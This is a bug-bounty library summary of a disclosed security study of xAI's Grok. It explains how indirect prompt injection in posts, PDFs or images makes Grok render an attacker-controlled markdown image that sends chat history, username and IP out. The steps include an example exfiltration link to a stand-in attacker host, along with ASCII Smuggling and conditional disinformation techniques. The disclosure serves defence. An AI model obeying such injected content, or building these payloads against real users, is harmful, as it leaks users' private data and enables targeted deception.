# Security ProbLLMs in xAI's Grok: A Deep Dive

Grok iOS app renders markdown images from third-party servers, letting indirect prompt injection exfiltrate chat history, username, and IP; also vulnerable to ASCII Smuggling and conditional disinformation.

- Payout: Research
- Severity: medium
- Program: xAI Grok
- Write-up by: Johann Rehberger
- Disclosed: 2024-12-16
- Write-up quality: 7/10
- Original: https://embracethered.com/blog/posts/2024/security-probllms-in-xai-grok/
- Library page: https://bugbountylibrary.com/r/blog%3Aembracethered-com-blog-posts-2024-security-probllms-in-xai-grok
- Tags: area:ai domain:ai impact:data-leak impact:pii-leak kind:research platform:research sev:medium tech:ios tech:llm technique:chained vuln:info-disclosure vuln:prompt-injection

**Target:** Grok chatbot (X iOS app, Grok iOS app, API)
**Root cause:** Grok renders zero-click markdown image resources from untrusted third-party domains without sandboxing/CSP, and processes hidden Unicode Tag characters, so injected content in posts/images/PDFs controls output and exfiltrates context.
**Steps:**
1. Craft a post/PDF/image containing indirect prompt injection instructions.
2. Include a markdown image link pointing to attacker server with data appended, e.g. `![x](https://attacker.tld/?d=<chat context>)`.
3. Have victim ask Grok to analyze/summarize the malicious content in the X iOS app.
4. Grok renders the image, sending chat history, username/handle/region, and IP to attacker server.
5. For ASCII Smuggling, embed Unicode Tag characters in text; Grok interprets hidden instructions and can emit invisible text.
**How found:** Researcher tested known LLM threat classes (direct/indirect prompt injection, markdown image exfiltration, ASCII Smuggling) against Grok, observed system prompt now includes user name/handle/region, and confirmed iOS app renders third-party images while web app does not.
**Exploitation:** Attacker posts a viral image or document with injected instructions; when a victim asks Grok to analyze it, Grok follows instructions and renders an attacker-controlled image URL carrying leaked chat data and IP. Bypass of initial fix still worked on three consenting users.
**Escalation:** Conditional injection targeting specific users/regions using name/handle/region in system prompt enables targeted disinformation; viral content could harvest data at scale.
**Insight:** Check whether the mobile client renders zero-click markdown resources (images) from arbitrary domains even when the web client blocks them; mobile WebViews often lack CSP sandboxing, and newly added system-prompt fields (username, region) become exfiltratable context.